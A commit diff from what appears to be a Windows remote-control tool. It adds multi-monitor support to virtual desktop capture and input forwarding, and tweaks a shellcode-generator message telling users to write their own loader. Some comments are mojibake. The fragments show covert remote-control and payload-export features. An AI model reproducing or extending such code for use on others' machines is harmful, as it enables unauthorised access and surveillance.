fix: Virtual desktop control support multiple monitor
This commit is contained in:
@@ -433,23 +433,32 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
case WM_KEYUP:
|
||||
return;
|
||||
case WM_CHAR:
|
||||
|
||||
case WM_KEYDOWN: {
|
||||
m_point = m_lastPoint;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONDOWN: {
|
||||
default:
|
||||
{
|
||||
msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) };
|
||||
m_ScreenSpyObject->PointConversion(msg->pt);
|
||||
msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y);
|
||||
|
||||
mouseMsg = TRUE;
|
||||
m_point = msg->pt;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
lastPointCopy = m_lastPoint;
|
||||
m_lastPoint = m_point;
|
||||
if (msg->message == WM_RBUTTONDOWN) {
|
||||
// <20><>¼<EFBFBD>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_rmouseDown = TRUE;
|
||||
m_rclickPoint = msg->pt;
|
||||
break;
|
||||
}
|
||||
case WM_RBUTTONUP: {
|
||||
else if (msg->message == WM_RBUTTONUP) {
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickWnd = WindowFromPoint(m_rclickPoint);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊϵͳ<CFB5>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char szClass[256];
|
||||
char szClass[256] = {};
|
||||
GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
|
||||
Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd);
|
||||
if (strcmp(szClass, "Shell_TrayWnd") == 0) {
|
||||
@@ -468,16 +477,8 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
mouseMsg = TRUE;
|
||||
m_point = msg->pt;
|
||||
hWnd = WindowFromPoint(m_point);
|
||||
lastPointCopy = m_lastPoint;
|
||||
m_lastPoint = m_point;
|
||||
if (msg->message == WM_LBUTTONUP) {
|
||||
else if (msg->message == WM_LBUTTONUP) {
|
||||
if (m_rclickWnd && hWnd != m_rclickWnd)
|
||||
{
|
||||
PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
|
||||
|
||||
@@ -22,10 +22,10 @@ public:
|
||||
void Create(HDC desktop, int _x, int _y, int w, int h) {
|
||||
x = _x;
|
||||
y = _y;
|
||||
width = w;
|
||||
height = h;
|
||||
width = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
height = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
hDcWindow = CreateCompatibleDC(desktop);
|
||||
hBmpWindow = CreateCompatibleBitmap(desktop, w, h);
|
||||
hBmpWindow = CreateCompatibleBitmap(desktop, width, height);
|
||||
}
|
||||
EnumHwndsPrintData& SetScreenDC(HDC dc) {
|
||||
hDcScreen = dc;
|
||||
@@ -154,7 +154,7 @@ public:
|
||||
|
||||
static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
|
||||
{
|
||||
AUTO_TICK_C(50);
|
||||
AUTO_TICK_C(100);
|
||||
if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) {
|
||||
char text[_MAX_PATH] = {};
|
||||
GetWindowText(hWnd, text, sizeof(text));
|
||||
|
||||
@@ -3114,7 +3114,8 @@ void CMy2015RemoteDlg::OnToolGenShellcode()
|
||||
_tcscpy_s(buffer, name);
|
||||
PathRemoveExtension(buffer);
|
||||
if (WriteBinaryAsCArray(CString(buffer) + ".c", srcData, srcLen, "Shellcode")) {
|
||||
MessageBox("Shellcode 生成成功! \r\n" + CString(buffer) + ".c", "提示", MB_ICONINFORMATION);
|
||||
MessageBox("Shellcode 生成成功! 请自行编写调用程序。\r\n" + CString(buffer) + ".c",
|
||||
"提示", MB_ICONINFORMATION);
|
||||
}
|
||||
}
|
||||
SAFE_DELETE_ARRAY(srcData);
|
||||
|
||||
@@ -168,7 +168,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
||||
SysMenu->AppendMenu(MF_SEPARATOR);
|
||||
}
|
||||
|
||||
m_bIsCtrl = FALSE; //不是控制
|
||||
m_bIsCtrl = THIS_CFG.GetInt("settings", "DXGI") == USING_VIRTUAL;
|
||||
m_bIsTraceCursor = FALSE; //不是跟踪
|
||||
m_ClientCursorPos.x = 0;
|
||||
m_ClientCursorPos.y = 0;
|
||||
|
||||
Reference in New Issue
Block a user